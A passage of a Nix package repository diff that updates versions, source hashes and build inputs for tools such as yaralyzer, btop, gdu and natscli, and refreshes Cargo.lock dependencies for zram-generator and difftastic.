licenses.gpl3Plus; - maintainers = with maintainers; [ dotlambda msteen mic92 ]; + inherit (vaultwarden.meta) maintainers; }; } diff --git a/pkgs/tools/security/witness/default.nix b/pkgs/tools/security/witness/default.nix index 42e6455ae7dd7..0b62b31d94e17 100644 --- a/pkgs/tools/security/witness/default.nix +++ b/pkgs/tools/security/witness/default.nix @@ -10,15 +10,15 @@ buildGoModule rec { pname = "witness"; - version = "0.2.0"; + version = "0.3.1"; src = fetchFromGitHub { owner = "in-toto"; repo = "witness"; rev = "v${version}"; - sha256 = "sha256-U+dcaPi9Drg4I2SZlZPaR3Ryb+Dz27nyPI2XJPG/LWc="; + sha256 = "sha256-uv/HxPYOKxZskmlAxUS2I1sW4YsSAmIeNHjoJeR7VWs="; }; - vendorHash = "sha256-pjcyAGdR8TsU9YBy5zd6u575vDKPwy8s85TXUsuxZiU="; + vendorHash = "sha256-9IkDBaDRJGWfPRN5+rYU4uH6nAsfnytDkF518rfNpyc="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/tools/security/yara/default.nix b/pkgs/tools/security/yara/default.nix index 946a424ca6817..a03763603382e 100644 --- a/pkgs/tools/security/yara/default.nix +++ b/pkgs/tools/security/yara/default.nix @@ -25,8 +25,7 @@ stdenv.mkDerivation rec { hash = "sha256-axHFy7YwLhhww+lh+ORyW6YG+T385msysIHK5SMyhMk="; }; - # FIXME: make unconditional on staging - patches = lib.optionals (!stdenv.hostPlatform.isGnu && !stdenv.hostPlatform.isDarwin) [ + patches = [ (fetchpatch { name = "musl.patch"; url = "https://github.com/VirusTotal/yara/commit/515ed861cf30e154b14a69ffd46c347fb81df72f.patch"; diff --git a/pkgs/tools/security/yaralyzer/default.nix b/pkgs/tools/security/yaralyzer/default.nix index 4379bbc5c63cb..ddfc828741e53 100644 --- a/pkgs/tools/security/yaralyzer/default.nix +++ b/pkgs/tools/security/yaralyzer/default.nix @@ -3,16 +3,31 @@ , fetchFromGitHub }: -python3.pkgs.buildPythonApplication rec { +let + python = python3.override { + packageOverrides = self: super: { + yara-python = super.yara-python.overridePythonAttrs (oldAttrs: rec { + version = "4.2.3"; + src = fetchFromGitHub { + owner = "VirusTotal"; + repo = "yara-python"; + rev = "v${version}"; + hash = "sha256-spUQuezQMqaG1hboM0/Gs7siCM6x0b40O+sV7qGGBng="; + }; + }); + }; + }; +in +python.pkgs.buildPythonApplication rec { pname = "yaralyzer"; - version = "0.9.0"; - format = "pyproject"; + version = "0.9.3"; + pyproject = true; src = fetchFromGitHub { owner = "michelcrypt4d4mus"; repo = "yaralyzer"; rev = "refs/tags/v${version}"; - hash = "sha256-QsMO/fnHy4puuToUHSS05fWnXHdAVnWFFBVq3cb0Zj4="; + hash = "sha256-KGQNonzAZp8c0a3Rjb1WfsEkx5srgRzZfGR3gfNEdzY="; }; pythonRelaxDeps = [ @@ -20,12 +35,12 @@ python3.pkgs.buildPythonApplication rec { "rich" ]; - nativeBuildInputs = with python3.pkgs; [ + nativeBuildInputs = with python.pkgs; [ poetry-core pythonRelaxDepsHook ]; - propagatedBuildInputs = with python3.pkgs; [ + propagatedBuildInputs = with python.pkgs; [ chardet python-dotenv rich @@ -43,5 +58,6 @@ python3.pkgs.buildPythonApplication rec { changelog = "https://github.com/michelcrypt4d4mus/yaralyzer/blob/${version}/CHANGELOG.md"; license = licenses.gpl3Only; maintainers = with maintainers; [ fab ]; + mainProgram = "yaralyze"; }; } diff --git a/pkgs/tools/security/zlint/default.nix b/pkgs/tools/security/zlint/default.nix index ba8eeeb12fa58..838e866de20a3 100644 --- a/pkgs/tools/security/zlint/default.nix +++ b/pkgs/tools/security/zlint/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "zlint"; - version = "3.6.0"; + version = "3.6.1"; src = fetchFromGitHub { owner = "zmap"; repo = "zlint"; rev = "v${version}"; - hash = "sha256-SGQOWMpjSS0XHrBjhPSRPBssCk073Hc1OlzQh/pnSRs="; + hash = "sha256-8iZUEUU+HY8cJrBwiGNE4e6hXQvNwAt0cPnBjAVDcHo="; }; modRoot = "v3"; diff --git a/pkgs/tools/system/automatic-timezoned/default.nix b/pkgs/tools/system/automatic-timezoned/default.nix index 9fe6eff850f4b..2bac409565fa8 100644 --- a/pkgs/tools/system/automatic-timezoned/default.nix +++ b/pkgs/tools/system/automatic-timezoned/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "automatic-timezoned"; - version = "1.0.148"; + version = "2.0.4"; src = fetchFromGitHub { owner = "maxbrunet"; repo = pname; rev = "v${version}"; - sha256 = "sha256-P4HSRqbFFgVc02HZf8UoTquseqHp2MUtTi5OZxomt6M="; + sha256 = "sha256-znoQPpnBU3cLxNmnIKvqj/fIuZDGCdmICx2UL1tqAnc="; }; - cargoHash = "sha256-pn5/87/KfbpSQHsVsSh03miCh2SZjA/LxMWrUvjJySo="; + cargoHash = "sha256-1G81O+WKGVnRLGS6/6iiqsMiY5AaFrzEa9JD1MBDSGY="; meta = with lib; { description = "Automatically update system timezone based on location"; diff --git a/pkgs/tools/system/bfs/default.nix b/pkgs/tools/system/bfs/default.nix index 17f6af921c788..ea23d7307d729 100644 --- a/pkgs/tools/system/bfs/default.nix +++ b/pkgs/tools/system/bfs/default.nix @@ -1,17 +1,17 @@ -{ lib, stdenv, fetchFromGitHub, libcap, acl, oniguruma }: +{ lib, stdenv, fetchFromGitHub, libcap, acl, oniguruma, liburing }: stdenv.mkDerivation rec { pname = "bfs"; - version = "3.0.4"; + version = "3.1.3"; src = fetchFromGitHub { repo = "bfs"; owner = "tavianator"; rev = version; - hash = "sha256-45pWJjC2ol89HYGxi3QP8Y9/pFRx7NBNyYCK4RN2SXk="; + hash = "sha256-/thPPueNrYzbxxZYAqlxZ2GEsceCzd+LkI84S8AS1mo="; }; - buildInputs = [ oniguruma ] ++ lib.optionals stdenv.isLinux [ libcap acl ]; + buildInputs = [ oniguruma ] ++ lib.optionals stdenv.isLinux [ libcap acl liburing ]; # Disable LTO on darwin. See https://github.com/NixOS/nixpkgs/issues/19098 preConfigure = lib.optionalString stdenv.isDarwin '' diff --git a/pkgs/tools/system/btop/default.nix b/pkgs/tools/system/btop/default.nix index b95fdc7578a22..9b6956fb57804 100644 --- a/pkgs/tools/system/btop/default.nix +++ b/pkgs/tools/system/btop/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "btop"; - version = "1.3.0"; + version = "1.3.2"; src = fetchFromGitHub { owner = "aristocratos"; repo = pname; rev = "v${version}"; - hash = "sha256-QQM2/LO/EHovhj+S+4x3ro/aOVrtuxteVVvYAd6feTk="; + hash = "sha256-kjSyIgLTObTOKMG5dk49XmWPXZpCWbLdpkmAsJcFliA="; }; nativeBuildInputs = [ cmake ] ++ lib.optionals cudaSupport [ diff --git a/pkgs/tools/system/consul-template/default.nix b/pkgs/tools/system/consul-template/default.nix index ea25b0cb19554..08ad879193f85 100644 --- a/pkgs/tools/system/consul-template/default.nix +++ b/pkgs/tools/system/consul-template/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "consul-template"; - version = "0.36.0"; + version = "0.37.1"; src = fetchFromGitHub { owner = "hashicorp"; repo = "consul-template"; rev = "v${version}"; - hash = "sha256-qhncff3DAJ3fiLJRVVcRZpDmzFEQI5J1cFXnlyUJRRs="; + hash = "sha256-s1UhbCxqWm7a5ulPPnbw0lO5lbRShTBBzAGuxWV5msM="; }; - vendorHash = "sha256-nOxdhVEMepZMq51M6MDIyTxBYThrwrT0C0wdwzsjoPI="; + vendorHash = "sha256-eFxXiRO2ruf1YLLWsCAYxTNUnKpaBXO8mLM4REThG1s="; # consul-template tests depend on vault and consul services running to # execute tests so we skip them here diff --git a/pkgs/tools/system/gdu/default.nix b/pkgs/tools/system/gdu/default.nix index 97150db3e94c3..9e84f2d8edfe4 100644 --- a/pkgs/tools/system/gdu/default.nix +++ b/pkgs/tools/system/gdu/default.nix @@ -9,16 +9,16 @@ buildGoModule rec { pname = "gdu"; - version = "5.26.0"; + version = "5.27.0"; src = fetchFromGitHub { owner = "dundee"; - repo = pname; + repo = "gdu"; rev = "refs/tags/v${version}"; - hash = "sha256-bbSpU6l5rhBo7jp7E66/ti4r9GJjXtaaDY5GKYGtLYM="; + hash = "sha256-hQyvYLegGimYTRz0J/2tmaC6N4LfjB1ivWgN29DwNhA="; }; - vendorHash = "sha256-X1xuQiFSCPH10OK5bPcRN5fqMLxyi6y2mJGE9RQ1aJg="; + vendorHash = "sha256-weNcJjofI7Aoy0Eya0KprXHAn7aTA0rQJYrJ4+t65hI="; nativeBuildInputs = [ installShellFiles @@ -27,11 +27,12 @@ buildGoModule rec { ldflags = [ "-s" "-w" - "-X github.com/dundee/gdu/v${lib.versions.major version}/build.Version=${version}" + "-X=github.com/dundee/gdu/v${lib.versions.major version}/build.Version=${version}" ]; postPatch = '' - substituteInPlace cmd/gdu/app/app_test.go --replace "development" "${version}" + substituteInPlace cmd/gdu/app/app_test.go \ + --replace-fail "development" "${version}" ''; postInstall = '' diff --git a/pkgs/tools/system/java-service-wrapper/default.nix b/pkgs/tools/system/java-service-wrapper/default.nix index 7155d1359da52..955c0fe62a7a7 100644 --- a/pkgs/tools/system/java-service-wrapper/default.nix +++ b/pkgs/tools/system/java-service-wrapper/default.nix @@ -58,5 +58,9 @@ stdenv.mkDerivation rec { platforms = [ "x86_64-linux" "i686-linux" "aarch64-linux" ]; maintainers = [ maintainers.suhr ]; mainProgram = "wrapper"; + # Broken for Musl at 2024-01-17. Errors as: + # logger.c:81:12: fatal error: gnu/libc-version.h: No such file or directory + # Tracking issue: https://github.com/NixOS/nixpkgs/issues/281557 + broken = stdenv.hostPlatform.isMusl; }; } diff --git a/pkgs/tools/system/natscli/default.nix b/pkgs/tools/system/natscli/default.nix index 0bff6fbc1b4e3..97c9884f4e3dc 100644 --- a/pkgs/tools/system/natscli/default.nix +++ b/pkgs/tools/system/natscli/default.nix @@ -5,20 +5,21 @@ buildGoModule rec { pname = "natscli"; - version = "0.1.1"; + version = "0.1.3"; src = fetchFromGitHub { owner = "nats-io"; - repo = pname; - rev = "v${version}"; - sha256 = "sha256-ktO+WrsacnQOgPZeyNTyUSATVwVud399YmcqgJ4PLTw="; + repo = "natscli"; + rev = "refs/tags/v${version}"; + hash = "sha256-40gKG47C8RvgPm3qJ5oNJP82efmCfrCSKVt+35jawlw="; }; - vendorHash = "sha256-5v3pPzt/U6kAHF9K7bb+Wu39gLh0O4TDIRgEToPNT6c="; + vendorHash = "sha256-d2JijN9OU/hQFU3Q2kEAWU0nRrPacfRWNIhEuLHjoIc="; meta = with lib; { description = "NATS Command Line Interface"; homepage = "https://github.com/nats-io/natscli"; + changelog = "https://github.com/nats-io/natscli/releases/tag/v${version}"; license = with licenses; [ asl20 ]; maintainers = with maintainers; [ fab ]; mainProgram = "nats"; diff --git a/pkgs/tools/system/rsyslog/default.nix b/pkgs/tools/system/rsyslog/default.nix index b678f5cda2a9d..37af3d87fefcc 100644 --- a/pkgs/tools/system/rsyslog/default.nix +++ b/pkgs/tools/system/rsyslog/default.nix @@ -61,11 +61,11 @@ stdenv.mkDerivation rec { pname = "rsyslog"; - version = "8.2312.0"; + version = "8.2402.0"; src = fetchurl { url = "https://www.rsyslog.com/files/download/rsyslog/${pname}-${version}.tar.gz"; - hash = "sha256-d0AyAGEoqJZDf1kT4TKqJ9v7k3zYhH5ElSLVoS1j0D4="; + hash = "sha256-rL3YV5SJ3za0o4PcaQmmG3YjgH8K/1TAYhFfLefqhbo="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/system/s-tui/default.nix b/pkgs/tools/system/s-tui/default.nix index 8f81ba97a0da0..02ae09fad96af 100644 --- a/pkgs/tools/system/s-tui/default.nix +++ b/pkgs/tools/system/s-tui/default.nix @@ -9,11 +9,11 @@ python3Packages.buildPythonPackage rec { pname = "s-tui"; - version = "1.1.4"; + version = "1.1.6"; src = fetchPypi { inherit pname version; - sha256 = "sha256-soVrmzlVy0zrqvOclR7SfPphp4xAEHv+xdr0NN19ye0="; + sha256 = "sha256-nSdpnM8ubodlPwmvdmNFTn9TsS8i7lWBZ2CifMHDe1c="; }; propagatedBuildInputs = with python3Packages; [ diff --git a/pkgs/tools/system/stress-ng/default.nix b/pkgs/tools/system/stress-ng/default.nix index f37d5f628791f..598078645bd92 100644 --- a/pkgs/tools/system/stress-ng/default.nix +++ b/pkgs/tools/system/stress-ng/default.nix @@ -4,13 +4,13 @@ stdenv.mkDerivation rec { pname = "stress-ng"; - version = "0.17.04"; + version = "0.17.05"; src = fetchFromGitHub { owner = "ColinIanKing"; repo = pname; rev = "V${version}"; - hash = "sha256-oD2NosZ5lswdSL1sh/nOHdRNyzrNJt+t+8r/dx9Z9/k="; + hash = "sha256-TlMLCDwFJGEEttdP9Wc0KAtj9Na1NC5E5e2VsTQugG4="; }; postPatch = '' diff --git a/pkgs/tools/system/ts/default.nix b/pkgs/tools/system/ts/default.nix index 843249f911e8f..deecc9ea00c88 100644 --- a/pkgs/tools/system/ts/default.nix +++ b/pkgs/tools/system/ts/default.nix @@ -4,7 +4,7 @@ stdenv.mkDerivation rec { pname = "ts"; - version = "1.0"; + version = "1.0.2"; installPhase=''make install "PREFIX=$out"''; @@ -14,7 +14,7 @@ stdenv.mkDerivation rec { src = fetchurl { url = "https://viric.name/~viric/soft/ts/ts-${version}.tar.gz"; - sha256 = "15dkzczx10fhl0zs9bmcgkxfbwq2znc7bpscljm4rchbzx7y6lsg"; + sha256 = "sha256-9zRSrtgOL5p3ZIg+k1Oqf0DmXTwZmtHzvmD9WLWOr+w="; }; meta = with lib; { diff --git a/pkgs/tools/system/zram-generator/Cargo.lock b/pkgs/tools/system/zram-generator/Cargo.lock index 62c506022285f..736984361c603 100644 --- a/pkgs/tools/system/zram-generator/Cargo.lock +++ b/pkgs/tools/system/zram-generator/Cargo.lock @@ -10,9 +10,9 @@ checksum = "0453232ace82dee0dd0b4c87a59bd90f7b53b314f3e0f61fe2ee7c8a16482289" [[package]] name = "anyhow" -version = "1.0.79" +version = "1.0.80" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" +checksum = "5ad32ce52e4161730f7098c077cd2ed6229b5804ccf99e5366be1ab72a98b4e1" [[package]] name = "autocfg" @@ -34,12 +34,9 @@ checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" [[package]] name = "cc" -version = "1.0.83" +version = "1.0.86" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" -dependencies = [ - "libc", -] +checksum = "7f9fa1897e4325be0d68d48df6aa1a71ac2ed4d27723887e7754192705350730" [[package]] name = "cfg-if" diff --git a/pkgs/tools/text/ascii/default.nix b/pkgs/tools/text/ascii/default.nix index b48d9d0cb4aec..613288079d349 100644 --- a/pkgs/tools/text/ascii/default.nix +++ b/pkgs/tools/text/ascii/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "ascii"; - version = "3.19"; + version = "3.20"; src = fetchurl { url = "http://www.catb.org/~esr/ascii/${pname}-${version}.tar.gz"; - sha256 = "sha256-+dou/tgvJFZY+VYeW3VoCecerw5adzWsW+uSTN2ppWA="; + sha256 = "sha256-nm5X6mDUGagDoCTOY2YlTvtxYma4Tu3VjNmA2rzBFnQ="; }; prePatch = '' diff --git a/pkgs/tools/text/csview/default.nix b/pkgs/tools/text/csview/default.nix index 0b69465ccfb90..8f5ed7989f478 100644 --- a/pkgs/tools/text/csview/default.nix +++ b/pkgs/tools/text/csview/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "csview"; - version = "1.2.2"; + version = "1.2.4"; src = fetchFromGitHub { owner = "wfxr"; repo = pname; rev = "v${version}"; - sha256 = "sha256-pv0zCtVHTjzkXK5EZhu6jviMJF0p9dvAuYcA6khiIos="; + sha256 = "sha256-7AppXnU9VQx1CMyK2evWtRFVb8qvgSzKp+oFKoIGR9w="; }; - cargoSha256 = "sha256-uMBwEbxI8hjoFMlH+oquHvKdyLUC9bnO5uMFHkyZjgY="; + cargoHash = "sha256-npbvKwxf6OxNw340yZ9vrQkXrZxD4G8yhZZEdDLwLs8="; meta = with lib; { description = "A high performance csv viewer with cjk/emoji support"; diff --git a/pkgs/tools/text/difftastic/Cargo.lock b/pkgs/tools/text/difftastic/Cargo.lock index f0bca647bebb6..425b396c8b401 100644 --- a/pkgs/tools/text/difftastic/Cargo.lock +++ b/pkgs/tools/text/difftastic/Cargo.lock @@ -4,25 +4,32 @@ version = 3 [[package]] name = "ahash" -version = "0.7.6" +version = "0.8.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47" +checksum = "d713b3834d76b85304d4d525563c1276e2e30dc97cc67bfb4585a4a29fc2c89f" dependencies = [ - "getrandom", + "cfg-if", "once_cell", "version_check", + "zerocopy", ] [[package]] name = "aho-corasick" -version = "1.0.5" +version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c378d78423fdad8089616f827526ee33c19f2fddbd5de1629152c9593ba4783" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" dependencies = [ "memchr", ] [[package]] +name = "allocator-api2" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5" + +[[package]] name = "assert_cmd" version = "2.0.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -61,9 +68,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.4.1" +version = "2.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" [[package]] name = "bstr" @@ -88,9 +95,9 @@ dependencies = [ [[package]] name = "bumpalo" -version = "3.11.1" +version = "3.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "572f695136211188308f16ad2ca5c851a712c464060ae6974944458eb83880ba" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" [[package]] name = "bytecount" @@ -115,15 +122,15 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "clap" -version = "3.1.18" +version = "3.2.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d2dbdf4bdacb33466e854ce889eee8dfd5729abf7ccd7664d0a2d60cd384440b" +checksum = "4ea181bf566f71cb9a5d17a59e1871af638180a18fb0035c92ae62b705207123" dependencies = [ "atty", "bitflags 1.3.2", "clap_lex", "indexmap", - "lazy_static", + "once_cell", "strsim", "termcolor", "terminal_size", @@ -132,9 +139,9 @@ dependencies = [ [[package]] name = "clap_lex" -version = "0.2.0" +version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a37c35f1112dad5e6e0b1adaff798507497a18fceeb30cceb3bae7d1427b9213" +checksum = "2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5" dependencies = [ "os_str_bytes", ] @@ -210,7 +217,7 @@ version = "0.27.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f476fe445d41c9e991fd07515a6f463074b782242ccf4a5b7b1d1012e70824df" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "crossterm_winapi", "libc", "mio", @@ -253,9 +260,8 @@ checksum = "6184e33543162437515c2e2b48714794e37845ec9851711914eec9d308f6ebe8" [[package]] name = "difftastic" -version = "0.55.0" +version = "0.56.1" dependencies = [ - "aho-corasick", "assert_cmd", "bumpalo", "cc", @@ -263,7 +269,7 @@ dependencies = [ "const_format", "crossterm", "glob", - "hashbrown 0.12.3", + "hashbrown 0.14.3", "humansize", "ignore", "itertools 0.11.0", @@ -272,7 +278,6 @@ dependencies = [ "libmimalloc-sys", "line-numbers", "log", - "memchr", "mimalloc", "owo-colors", "predicates", @@ -326,7 +331,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ac3e13f66a2f95e32a39eaa81f6b95d42878ca0e1db0c7543723dfe12557e860" dependencies = [ "libc", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -351,17 +356,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" [[package]] -name = "getrandom" -version = "0.2.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c85e1d9ab2eadba7e5040d4e09cbd6d072b76a557ad64e797c2cb9d4da21d7e4" -dependencies = [ - "cfg-if", - "libc", - "wasi", -] - -[[package]] name = "glob" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -388,11 +382,12 @@ checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" [[package]] name = "hashbrown" -version = "0.12.3" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" dependencies = [ "ahash", + "allocator-api2", ] [[package]] @@ -467,7 +462,7 @@ checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" dependencies = [ "hermit-abi 0.3.3", "libc", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -479,7 +474,7 @@ dependencies = [ "hermit-abi 0.3.3", "io-lifetimes", "rustix", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -547,9 +542,9 @@ checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" [[package]] name = "lock_api" -version = "0.4.9" +version = "0.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "435011366fe56583b16cf956f9df0095b405b82d76425bc8981c0e22e60ec4df" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" dependencies = [ "autocfg", "scopeguard", @@ -566,9 +561,9 @@ dependencies = [ [[package]] name = "memchr" -version = "2.5.0" +version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memoffset" @@ -596,14 +591,14 @@ checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] name = "mio" -version = "0.8.5" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5d732bc30207a6423068df043e3d02e0735b155ad7ce1a6f76fe2baa5b158de" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" dependencies = [ "libc", "log", "wasi", - "windows-sys 0.42.0", + "windows-sys", ] [[package]] @@ -643,9 +638,9 @@ dependencies = [ [[package]] name = "once_cell" -version = "1.17.1" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b7e5500299e16ebb147ae15a00a942af264cf3688f47923b8fc2cd5858f23ad3" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "os_str_bytes" @@ -680,15 +675,15 @@ dependencies = [ [[package]] name = "parking_lot_core" -version = "0.9.6" +version = "0.9.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ba1ef8814b5c993410bb3adfad7a5ed269563e4a2f90c41f5d85be7fb47133bf" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" dependencies = [ "cfg-if", "libc", "redox_syscall", "smallvec", - "windows-sys 0.42.0", + "windows-targets", ] [[package]] @@ -755,18 +750,18 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.66" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] [[package]] name = "quote" -version = "1.0.32" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50f3b39ccfb720540debaa0164757101c08ecb8d326b15358ce76a62c7e85965" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] @@ -801,22 +796,22 @@ dependencies = [ [[package]] name = "redox_syscall" -version = "0.2.16" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" dependencies = [ "bitflags 1.3.2", ] [[package]] name = "regex" -version = "1.9.4" +version = "1.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12de2eff854e5fa4b1295edd650e227e9d8fb0c9e90b12e7f36d6a6811791a29" +checksum = "ebee201405406dbf528b8b672104ae6d6d63e6d118cb10e4d51abbc7b58044ff" dependencies = [ "aho-corasick", "memchr", - "regex-automata 0.3.7", + "regex-automata 0.3.9", "regex-syntax", ] @@ -828,9 +823,9 @@ checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" [[package]] name = "regex-automata" -version = "0.3.7" +version = "0.3.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49530408a136e16e5b486e883fbb6ba058e8e4e8ae6621a77b048b314336e629" +checksum = "59b23e92ee4318893fa3fe3e6fb365258efbfe6ac6ab30f090cdcbb7aa37efa9" dependencies = [ "aho-corasick", "memchr", @@ -860,7 +855,7 @@ dependencies = [ "io-lifetimes", "libc", "linux-raw-sys", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -907,7 +902,7 @@ checksum = "a4e7b8c5dc823e3b90651ff1d3808419cd14e5ad76de04feaf37da114e7a306f" dependencies = [ "proc-macro2", "quote", - "syn 2.0.27", + "syn 2.0.49", ] [[package]] @@ -944,18 +939,18 @@ dependencies = [ [[package]] name = "signal-hook-registry" -version = "1.4.0" +version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e51e73328dc4ac0c7ccbda3a494dfa03df1de2f46018127f60c693f2648455b0" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" dependencies = [ "libc", ] [[package]] name = "smallvec" -version = "1.10.0" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "strsim" @@ -982,7 +977,7 @@ dependencies = [ "proc-macro2", "quote", "rustversion", - "syn 2.0.27", + "syn 2.0.49", ] [[package]] @@ -998,9 +993,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.27" +version = "2.0.49" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b60f673f44a8255b9c8c657daf66a596d435f2da81a555b06dc644d080ba45e0" +checksum = "915aea9e586f80826ee59f8453c1101f9d1c4b3964cd2460185ee8e299ada496" dependencies = [ "proc-macro2", "quote", @@ -1018,12 +1013,12 @@ dependencies = [ [[package]] name = "terminal_size" -version = "0.1.17" +version = "0.2.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "633c1a546cee861a1a6d0dc69ebeca693bf4296661ba7852b9d21d159e0506df" +checksum = "8e6bf6f19e9f8ed8d4048dc22981458ebcf406d67e94cd422e5ecd73d63b3237" dependencies = [ - "libc", - "winapi", + "rustix", + "windows-sys", ] [[package]] @@ -1034,9 +1029,9 @@ checksum = "507e9898683b6c43a9aa55b64259b721b52ba226e0f3779137e50ad114a4c90b" [[package]] name = "textwrap" -version = "0.15.0" +version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1141d4d61095b28419e22cb0bbf02755f5e54e0526f97f1e3d1d160e60885fb" +checksum = "23d434d3f8967a09480fb04132ebe0a3e088c173e6d0ee7897abbdf4eab0f8b9" dependencies = [ "terminal_size", ] @@ -1162,21 +1157,6 @@ checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] name = "windows-sys" -version = "0.42.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" -dependencies = [ - "windows_aarch64_gnullvm 0.42.1", - "windows_aarch64_msvc 0.42.1", - "windows_i686_gnu 0.42.1", - "windows_i686_msvc 0.42.1", - "windows_x86_64_gnu 0.42.1", - "windows_x86_64_gnullvm 0.42.1", - "windows_x86_64_msvc 0.42.1", -] - -[[package]] -name = "windows-sys" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" @@ -1190,95 